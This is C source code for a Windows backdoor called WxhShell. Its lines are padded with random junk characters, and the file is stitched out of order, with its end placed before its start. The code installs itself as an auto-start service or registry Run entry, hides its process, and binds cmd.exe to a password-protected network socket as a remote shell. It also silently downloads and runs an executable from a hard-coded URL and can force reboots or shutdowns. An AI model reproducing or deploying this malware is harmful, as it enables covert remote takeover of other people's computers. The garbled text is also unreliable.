    if(Boot(SHUTDOWN)) !t;$n!7<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QM;L>e-ZY  
    else { yVh]hL#4+w  
    closesocket(wsh); go{'mX)}u  
    ExitThread(0); u\=Nu4)Z F  
    } 7 F+w o  
    break; = @ph  
    } TioI$?l>W(  
  // 获取shell N'2u`br4KP  
  case 's': { fa<83<.D  
    CmdShell(wsh); nX?fj<oR|  
    closesocket(wsh); I?F^c6M=  
    ExitThread(0); 3~Ipcr B  
    break; %li'j|  
  } ih1SN,/  
  // 退出 =;@5Ue J  
  case 'x': { Y\9uR!0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TS=p8@w}  
    CloseIt(wsh); 6Y}#vZ  
    break; B8w 0DJ  
    } E;-R<X5n  
  // 离开 T(3"bS.,  
  case 'q': { oSy[/Y44a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0YIvE\-  
    closesocket(wsh); ChmPO|2F  
    WSACleanup(); O\lt!p3F  
    exit(1); q[dls_  
    break; chfj|Ce]x  
        } $ n 7dIE  
  } $i~DUT(  
  } Pf@8C{I  
gX6'!}G8]  
  // 提示信息 Lxd*W2$3_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \[Rh\v&  
} )+cP8$n6L  
  } q] ,&$d^@  
4-cnkv\~  
  return; O`|'2x{[O  
} #^Sd r-   
})T_D\2M  
// shell模块句柄 ?~u"w OH'  
int CmdShell(SOCKET sock) :K2N7?shA  
{ 4MIL# 1s  
STARTUPINFO si; m 0un=>{  
ZeroMemory(&si,sizeof(si)); PtmdUHvD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G%rK{h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HOu<,9?>Q  
PROCESS_INFORMATION ProcessInfo; W%~ S~wx  
char cmdline[]="cmd"; zy5@K)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oa;[[2c  
  return 0; F/@#yQv?  
} w 7=Y_  
(lEWnf=2h  
// 自身启动模式 w*Kw#m'U  
int StartFromService(void) ;:"~utL7  
{  bQ  
typedef struct OL=IUg"  
{ E})PNf;  
  DWORD ExitStatus; Zf(ucAhL  
  DWORD PebBaseAddress; B8[H><)o\y  
  DWORD AffinityMask; jC; XY!d6  
  DWORD BasePriority; ^$rt|]  
  ULONG UniqueProcessId; V^?+|8_(  
  ULONG InheritedFromUniqueProcessId; 183'1Z$KA  
}   PROCESS_BASIC_INFORMATION; }t"!I\C  
%{o5 }TqD  
PROCNTQSIP NtQueryInformationProcess; I uhyBo  
iM}cd$r{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vs9fAAXS4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y . AN0  
zjVb+Z\n  
  HANDLE             hProcess; SznNvd <  
  PROCESS_BASIC_INFORMATION pbi; ^@L  
y"2#bq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9$#2+G!J  
  if(NULL == hInst ) return 0; V3F2Z_VH2  
5_=&U-? H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -FE5sW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KDHR} `  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ur5X~a\y  
J,P7k$t2vv  
  if (!NtQueryInformationProcess) return 0; (K0FWTmm  
KOw Ew~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c3K(mM:  
  if(!hProcess) return 0; l^"gpO${K  
T[ mTA>d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sowkxw.^Q  
PJkEBdM.  
  CloseHandle(hProcess); o7hjx hmC  
))306*X\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o.y4&bC14;  
if(hProcess==NULL) return 0; F+c*v#T  
 ) VJ|  
HMODULE hMod; {e>}.R  
char procName[255]; 5UjXpS  
unsigned long cbNeeded; eQzSWn[  
:5C9uW #  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GT#iY*  
MF%9  
  CloseHandle(hProcess); :) mV-(+o  
t'R&$;z@b  
if(strstr(procName,"services")) return 1; // 以服务启动 U'Vz   
5k<HO_]  
  return 0; // 注册表启动 l|5ss{llR  
} *3. ]  
mlIc`GSI  
// 主模块 =`.9V<  
int StartWxhshell(LPSTR lpCmdLine) |bB..b  
{ b\6w[52m  
  SOCKET wsl; MUVp8! *@  
BOOL val=TRUE; <qv:7@  
  int port=0; M62V NYt  
  struct sockaddr_in door; . VWH  
S@T> u,t'  
  if(wscfg.ws_autoins) Install(); +gK7`:v4O*  
dHd{9ftyF  
port=atoi(lpCmdLine); B#sc!eLmU&  
qmJFXnf  
if(port<=0) port=wscfg.ws_port; %o*afd  
>W 8!YOc  
  WSADATA data; .X YSO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QeU>%qKT  
BA L!6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W\FKA vS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WS2TOAya)  
  door.sin_family = AF_INET; YwHnDVV+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q$U;\Mg)  
  door.sin_port = htons(port); oX!s u  
-OVJ]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }7Pd\tG]  
closesocket(wsl); ( 3=.3[  
return 1; [wIyW/+  
} >(d+E\!A  
vhKeW(z  
  if(listen(wsl,2) == INVALID_SOCKET) { D:%$a]_f  
closesocket(wsl); =d( 6 )  
return 1; ")ZHa qEB  
} D~8f6Ko"m  
  Wxhshell(wsl); ?Tb'J`MO  
  WSACleanup(); eN,m8A`/S  
(Tc ~  
return 0; 1!BV]&,[  
w;{k\=W3Ff  
} zg|yW6l)9  
9;JU c0%  
// 以NT服务方式启动 qlDLZ.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sm\/wlbE  
{ */?L_\7  
DWORD   status = 0; x{RTI#a.  
  DWORD   specificError = 0xfffffff; $"x(:  
4!iS"QH?;^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i~k?k.t8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qdUlT*fw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F'|,(P  
  serviceStatus.dwWin32ExitCode     = 0; ^3AJYu  
  serviceStatus.dwServiceSpecificExitCode = 0; -/7[_,  
  serviceStatus.dwCheckPoint       = 0; u4fTC})4{C  
  serviceStatus.dwWaitHint       = 0; vjbot^W9  
6 U# C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;?%2dv2d  
  if (hServiceStatusHandle==0) return; Q;5aM%a`  
&[JI L=m5  
status = GetLastError(); b @5&<V;r2  
  if (status!=NO_ERROR) vJXd{iQE@C  
{ H+_oK ]/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x"U/M ?l  
    serviceStatus.dwCheckPoint       = 0; ]FQ4v.7  
    serviceStatus.dwWaitHint       = 0; E2%7v  
    serviceStatus.dwWin32ExitCode     = status; H$\?D+xlf  
    serviceStatus.dwServiceSpecificExitCode = specificError; pmHd1 Wub  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QIo|t!7F  
    return; 2yeq2v   
  } !YAkHrF`[0  
H${Ym BG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v  mw7H  
  serviceStatus.dwCheckPoint       = 0; r|0C G^:C  
  serviceStatus.dwWaitHint       = 0; Re,0RM\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^!Bpev  
} ,gD30Pylz  
mX,#|qLf  
// 处理NT服务事件,比如:启动、停止 } vcr71u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZOS{F_2.  
{ 5p"*n kF  
switch(fdwControl) 0nhsjN}v  
{ -YS n 3=  
case SERVICE_CONTROL_STOP: (;Lz `r'  
  serviceStatus.dwWin32ExitCode = 0; xp><7{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?55('+{l  
  serviceStatus.dwCheckPoint   = 0; PS \QbA  
  serviceStatus.dwWaitHint     = 0; EA?:GtH  
  { qWQJ>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xZ4\.K\f]  
  } >+1^XeeS  
  return; c WK@O>  
case SERVICE_CONTROL_PAUSE: \U~ggg0h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RTF{<,E.UX  
  break; /j3oHi$  
case SERVICE_CONTROL_CONTINUE: zIRa%%.i<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gU+BRTZ&x  
  break; (Grj_p6O  
case SERVICE_CONTROL_INTERROGATE: V@cRJ3ZF  
  break; mb\vHu*53  
}; * Q51'?y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NP%ll e,l  
} I+u=H2][2  
[-Q"A 6!Zd  
// 标准应用程序主函数 9n@jK%m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P`U5kNN  
{ Uc7X)  
x1A^QIuxO  
// 获取操作系统版本 AO^F6Y/  
OsIsNt=GetOsVer(); Y^3tk}yru  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X3 a:*1N  
b/ZX}<s(1=  
  // 从命令行安装 2LD4f[a;  
  if(strpbrk(lpCmdLine,"iI")) Install(); _k6N(c2Nd  
a$9UUH-|  
  // 下载执行文件 mc9$"  
if(wscfg.ws_downexe) { -pX/Tt6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~49+$.2  
  WinExec(wscfg.ws_filenam,SW_HIDE); j7"E0Wc^o_  
} {L<t6A  
VFG)|Z  
if(!OsIsNt) { PB }$.8  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?\^u},HnE|  
HideProc(); \6C"bQ  
StartWxhshell(lpCmdLine); r Ld,Izi  
} Qj3UO]>  
else QRt(?96  
  if(StartFromService()) ts9N$?0:V  
  // 以服务方式启动 ~ RTjcE  
  StartServiceCtrlDispatcher(DispatchTable); qn4Dm ^  
else YK"({Z>U  
  // 普通方式启动 j}h50*6KO  
  StartWxhshell(lpCmdLine); 5|H?L@_9  
QuF%m^aE  
return 0; TXrC5AJx  
} 6 t A?<S  
QW~o+N~~  
N#ex2c  
EH4WR/x  
=========================================== :_^9.`  
%J+$p\c  
"gK2!N|#  
YZ*Si3L   
1X#`NUJ?2  
w8@MUz}/#  
" XtQ3$0{*%  
uiiA)j*!  
#include <stdio.h> " I_T  
#include <string.h> 1 C[#]krh  
#include <windows.h> BDB-OJ  
#include <winsock2.h> fnB-?8K<  
#include <winsvc.h> Uhg[#TUK  
#include <urlmon.h> %e1<N8E4  
li;P,kg$  
#pragma comment (lib, "Ws2_32.lib") ;>Z#1~8  
#pragma comment (lib, "urlmon.lib") iB]kn(2C  
?(g kk YI  
#define MAX_USER   100 // 最大客户端连接数 4&`66\p;  
#define BUF_SOCK   200 // sock buffer I~q}M!v~  
#define KEY_BUFF   255 // 输入 buffer %t<Y6*g  
<v5toyA  
#define REBOOT     0   // 重启 EH,uX{`e  
#define SHUTDOWN   1   // 关机 :ye)%UU"|:  
(& ~`!]  
#define DEF_PORT   5000 // 监听端口 <GoE2a4Va  
n.7 $*9)#  
#define REG_LEN     16   // 注册表键长度 Q jQJ "  
#define SVC_LEN     80   // NT服务名长度 sPd5f2'  
gHox{*hb[  
// 从dll定义API mZq*o<kTA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =8tdu B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W^y F5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !;R{-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OgOu$.  
t^h>~o' \  
// wxhshell配置信息 VfZ/SByh7p  
struct WSCFG { 2\s-4H| q  
  int ws_port;         // 监听端口 59EAqz[:  
  char ws_passstr[REG_LEN]; // 口令 o'H$g%  
  int ws_autoins;       // 安装标记, 1=yes 0=no FWD9!M K  
  char ws_regname[REG_LEN]; // 注册表键名 )hQ`l d7B  
  char ws_svcname[REG_LEN]; // 服务名 ]%mg(&p4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YY]LK%-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i]1[eGF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o +aB[+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qrt+{5/t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H;$w^Tr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5[Q44$a{  
N%Lh_2EzqV  
}; F htf4  
9_TZ;e  
// default Wxhshell configuration hcN$p2-  
struct WSCFG wscfg={DEF_PORT, _L: /2  
    "xuhuanlingzhe", *$hO C%(  
    1, >,~JQ%1  
    "Wxhshell", xJO[pT v  
    "Wxhshell", G`)I _uO  
            "WxhShell Service", [&Qrk8EN  
    "Wrsky Windows CmdShell Service", (Ojg~P4;&  
    "Please Input Your Password: ", 8fDnDA.e  
  1, Dnd  
  "http://www.wrsky.com/wxhshell.exe", s"sX# l[J  
  "Wxhshell.exe" g@1MIm c'!  
    }; sAnH\AFm  
{AcKBi b  
// 消息定义模块 *qq%)7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MJ7!f+!5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J@R+t6$3O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SSH/q/  
char *msg_ws_ext="\n\rExit."; 8:0l5cZE  
char *msg_ws_end="\n\rQuit."; }>h?W1  
char *msg_ws_boot="\n\rReboot..."; >i=O =w  
char *msg_ws_poff="\n\rShutdown..."; B!8]\D  
char *msg_ws_down="\n\rSave to "; [[bMYD1eO  
(jQL?  
char *msg_ws_err="\n\rErr!"; *Qyw _Q  
char *msg_ws_ok="\n\rOK!"; 3Um\?fj>}(  
o >W}1_  
char ExeFile[MAX_PATH]; ?j $z[_K  
int nUser = 0; ,q:6[~n  
HANDLE handles[MAX_USER]; "3\)@  
int OsIsNt; 'x!q*|zF2  
y2<g96  
SERVICE_STATUS       serviceStatus; b%v1]a[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yq2 mVo  
XKR?vr7A2  
// 函数声明 ;APg!5X  
int Install(void); \l]jX: 9(  
int Uninstall(void); ;Y)?6^"  
int DownloadFile(char *sURL, SOCKET wsh); Z 4t9q`}h  
int Boot(int flag); "E'OP R  
void HideProc(void); p?d Ma_ g  
int GetOsVer(void); v#nFPB=z  
int Wxhshell(SOCKET wsl); [u-~<80  
void TalkWithClient(void *cs); "5>p]u>  
int CmdShell(SOCKET sock); v3hNvcMpf  
int StartFromService(void); ;vd%=vR  
int StartWxhshell(LPSTR lpCmdLine); @9QHv  
%r|fuwwJO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `N|WCiBV.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OCR x|  
o+q 5:vJt  
// 数据结构和表定义 ~(yh0V  
SERVICE_TABLE_ENTRY DispatchTable[] = a_pkUOu6  
{ 6}|/~n  
{wscfg.ws_svcname, NTServiceMain}, r]8B6iV  
{NULL, NULL} 4RdpROK  
}; B8;ZOLAU  
d B?I (  
// 自我安装 gNxnoOY  
int Install(void) 2{&|%1Jg  
{ IG#=}q  
  char svExeFile[MAX_PATH]; M g;;o  
  HKEY key; R;,&CQUl  
  strcpy(svExeFile,ExeFile); rl6vt*g  
VT+GmS  
// 如果是win9x系统,修改注册表设为自启动 i{ %~&!  
if(!OsIsNt) { f\|33)k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GR|Vwxs<@P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p 6jR,m8S  
  RegCloseKey(key); i:W oT4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q}]Q0'X8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m2N ?Fg  
  RegCloseKey(key); }3vB_0[r  
  return 0; BT`6v+,h7k  
    } VQLo vt"  
  } JfC.U,7Nc  
} M,mj{OY~x  
else { FUHa"$Bg  
2{{M{#}S.  
// 如果是NT以上系统,安装为系统服务 C~6aX/:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f2yc]I<lr~  
if (schSCManager!=0) b7"pm)6  
{ hgsE"H<V  
  SC_HANDLE schService = CreateService N*@bJ*0  
  ( d5bj$oH  
  schSCManager, (o e;p a  
  wscfg.ws_svcname, /V3*[  
  wscfg.ws_svcdisp, r^Gl~sX  
  SERVICE_ALL_ACCESS, lW7kBCsz#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @.MM-  
  SERVICE_AUTO_START, bZ%[ON5OY  
  SERVICE_ERROR_NORMAL, PhW#=S  
  svExeFile, 17nWrTxR$  
  NULL, 8xL-j2w  
  NULL, 8mx5K-/,y^  
  NULL, LfF<wDvXf  
  NULL, Lmj?V1% V  
  NULL dJCu`34Y'|  
  ); uOZ+9x(  
  if (schService!=0) @ZT25CD  
  { +mAMCM2N  
  CloseServiceHandle(schService); }g(aZ  
  CloseServiceHandle(schSCManager); R=8!]Oi6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y B)1dzU  
  strcat(svExeFile,wscfg.ws_svcname); E{lq@it32p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n>!E ]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S _#UEf  
  RegCloseKey(key); lt(,/  
  return 0; GK\'m@k  
    } } #%sI"9  
  } pY-iz M L  
  CloseServiceHandle(schSCManager); |nocz]yU$  
} Sgr<z d'b  
} &Vl,x/  
^3*gf}  
return 1; 9X=#wh,q  
} e2Xx7*vS  
v*#Z{)r  
// 自我卸载 )vy<q/o+  
int Uninstall(void) (-"A5(X:/  
{ %yptML9  
  HKEY key; )[zyvU. J3  
)w/f 'fq  
if(!OsIsNt) { -?@ $`{-K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Z.Ne:*J  
  RegDeleteValue(key,wscfg.ws_regname); iiRK3m  
  RegCloseKey(key); ZZlR:D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +n)(\k{  
  RegDeleteValue(key,wscfg.ws_regname); i 0L7`TB  
  RegCloseKey(key); hW/*]7AM^  
  return 0; MRmz/ZmRM  
  } b8QW^Z  
} E8IWHh_  
} $\a;?>WA"  
else { 4N#0w]_,>Y  
q9Fc0(&Vf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sw(%j1uL  
if (schSCManager!=0) BH*vsxe  
{ *TMg.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v[lytX4)  
  if (schService!=0) f1\x>W4z~\  
  { n1$##=wK]  
  if(DeleteService(schService)!=0) { SxQ|1:i%  
  CloseServiceHandle(schService); R[#5E|` `9  
  CloseServiceHandle(schSCManager); R]ppA=1*_l  
  return 0; _NZ) n)  
  } 0BE%~W  
  CloseServiceHandle(schService); 2%WZ-l!i  
  } +mxsjcq0  
  CloseServiceHandle(schSCManager); 6W#+U<  
} flb3Iih  
} c&R .  
.+B!mmp  
return 1; vtvr{Uqo@  
} l~f +h?cF  
~\i uV  
// 从指定url下载文件 ;1eu8N8  
int DownloadFile(char *sURL, SOCKET wsh) Mzb_o2^(  
{ O;,k~  
  HRESULT hr; m]u#Dm7h  
char seps[]= "/"; h` n>6I  
char *token; i%\nJs*  
char *file; fWLsk  
char myURL[MAX_PATH]; %%-kUe  
char myFILE[MAX_PATH]; zpa'G1v  
e3[QM  
strcpy(myURL,sURL); W>@+H"pZ  
  token=strtok(myURL,seps); V=S`%1dLN  
  while(token!=NULL) 8#oF7eE  
  { j^64:3  
    file=token; t+?\4+!<  
  token=strtok(NULL,seps); U&B~GJT+  
  } }]?RngTt  
6J=~*&  
GetCurrentDirectory(MAX_PATH,myFILE); fA+M/}=  
strcat(myFILE, "\\"); j*6!7u.,K  
strcat(myFILE, file); R 6M@pO  
  send(wsh,myFILE,strlen(myFILE),0); ViVYyA  
send(wsh,"...",3,0); gi"v$ {R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B8IfE`  
  if(hr==S_OK) ~ 4&_$e!  
return 0; |d:URuG~:I  
else +rql7D0st  
return 1; mCq*@1Lp9  
bH,Jddc  
} -'8|D!>v2  
uAJ_`o[  
// 系统电源模块 2QBtwlQ?[  
int Boot(int flag) +ckj]yA;  
{ g@j:TQM_0  
  HANDLE hToken; \64(`6>  
  TOKEN_PRIVILEGES tkp; Mz"kaO  
-<<!eH  
  if(OsIsNt) { m\~[^H~g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #b8/gRfS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t@4vEKw?.X  
    tkp.PrivilegeCount = 1; E8-p ,e,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "#m*`n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w=f8UtY9@A  
if(flag==REBOOT) { ^Xb!dnT.*a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b UWtlg  
  return 0; 1hMk\ -3S  
} I#A`fJ  
else { Q!|71{5U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) / Sp+MB9  
  return 0; pkM32v-  
} !BQ!] u  
  } 95(VY)_6#A  
  else { S)[2\Z{**T  
if(flag==REBOOT) { Xt~/8)&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bqLv81V  
  return 0; :m+:%keK  
} W``e6RX-  
else { &V2G <gm0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z1OcGRN!  
  return 0; gr-%9=Uq  
} |]B]0J#_  
} ?9PNCd3$d  
k}<mmKB  
return 1; U O[p   
} l_kH^ET  
[Zua7&(5  
// win9x进程隐藏模块 D@W m-  
void HideProc(void) 1yKf=LZ^  
{ eM~i (]PY  
/Pf7=P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :!#-k  
  if ( hKernel != NULL ) ,f1+jC  
  { e%f8|3<6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B j*X_m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q2#)Jx\6!  
    FreeLibrary(hKernel);  $hN!DHz  
  } , D&FCs%v  
nF//y}  
return; t71 0sWh{  
} 4 A  
F 'h[g.\}  
// 获取操作系统版本 t>b^S,  
int GetOsVer(void) {`}RYfZ  
{ Dljq  
  OSVERSIONINFO winfo; DSIa3! 0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {wMCo ,  
  GetVersionEx(&winfo); \KPz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ oL+O|  
  return 1; , n EeI&  
  else \[8I5w-  
  return 0; "fmJ;W;#1  
} ?c43cYb  
>4ALF[oH1J  
// 客户端句柄模块 #:{u1sq;  
int Wxhshell(SOCKET wsl) aH >.o 1;  
{ 55[K[K  
  SOCKET wsh; vR`KRI`{  
  struct sockaddr_in client; MZ+"Arzb  
  DWORD myID; T$q]iSgu  
$4eogI7N>w  
  while(nUser<MAX_USER) f< '~K  
{ :{Y,Nsa  
  int nSize=sizeof(client); xAoozDj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )_&<u\cm L  
  if(wsh==INVALID_SOCKET) return 1; &2Y>yFB ,  
=F:d#j>F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8m6L\Z&  
if(handles[nUser]==0) K1C#  
  closesocket(wsh); CBF>157B  
else >o[T#U  
  nUser++; f^]2qoN  
  } hxtu^E/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U 26Iz  
/Ia#udkNMp  
  return 0; 8,H  
} 6Es-{u(,  
lc'Jn$O@  
// 关闭 socket .rMGI "  
void CloseIt(SOCKET wsh) y%T'e(5Ed  
{ 9> (8r+  
closesocket(wsh); M2m@N-+R   
nUser--; 4sva%Up  
ExitThread(0); WIb U^WJ0  
} 7sFjO/a*  
uS&bfx2  
// 客户端请求句柄 mM95BUB  
void TalkWithClient(void *cs) 1 8&^k|  
{ S]9xqiJW  
Q"(i  
  SOCKET wsh=(SOCKET)cs; yX)2 hj:s  
  char pwd[SVC_LEN]; x2nNkd0h  
  char cmd[KEY_BUFF]; 1ITa6vjS  
char chr[1]; _ Fer-nQ2R  
int i,j; a u#IA  
M9iu#6P  
  while (nUser < MAX_USER) { Ml)WY#7  
"? R$9i  
if(wscfg.ws_passstr) { B,A/ -B\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,iHl;3bu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MbJV)*Q  
  //ZeroMemory(pwd,KEY_BUFF); /]vg_&)=  
      i=0; %i96@ 6O  
  while(i<SVC_LEN) { |M+ !O93  
K~Xt`  
  // 设置超时 q,m6$\g4  
  fd_set FdRead; l~\'Z2op   
  struct timeval TimeOut; "rX`h  
  FD_ZERO(&FdRead); 2R)Y}*VX  
  FD_SET(wsh,&FdRead); le1'r>E$  
  TimeOut.tv_sec=8; s^E%Uk m  
  TimeOut.tv_usec=0; K!'9wt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); he!e~5<@y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]pFYAe ?  
u9?85  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7o ;}"Y1  
  pwd=chr[0]; uODpIxN  
  if(chr[0]==0xd || chr[0]==0xa) { J \G8 g,@  
  pwd=0; v/(< fI^  
  break; |}#Rn`*2y  
  } 3ldOOQW%  
  i++; -\r*D#aHBN  
    } VpD9!;S  
O!;!amvz  
  // 如果是非法用户,关闭 socket 44cyD _(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z*kn.sW  
} 92S<TAdPP  
5Rc 5/m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fUE jl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2!l)% F`  
/#.6IV(  
while(1) { =0O`VSb  
(B[0BjU  
  ZeroMemory(cmd,KEY_BUFF); i8EMjLBUR  
wG -X833\(  
      // 自动支持客户端 telnet标准   zg"<N  
  j=0; 2pZ|+!xc+  
  while(j<KEY_BUFF) { 6\ (\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Y>LUZ)b&8  
  cmd[j]=chr[0]; 3"cAwU9  
  if(chr[0]==0xa || chr[0]==0xd) { yht_*7.lM  
  cmd[j]=0; ;i\i+:=  
  break; 9.>v ;:vL  
  } L0Xb^vx}m  
  j++; ]G&d`DNV  
    } Vo%@bj~>  
<w 8*Ly:L  
  // 下载文件 6 Rg{^ERf  
  if(strstr(cmd,"http://")) { qd(`~a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mKn:EqA  
  if(DownloadFile(cmd,wsh)) yn`H}@`k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ VVBl I  
  else v=@Z,-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \V}?K0#bt  
  } 3>c<E1   
  else { \_0nH`  
td%EbxJK]`  
    switch(cmd[0]) { V"k*PLt  
  U^:+J-z{  
  // 帮助 2Fp.m}42i(  
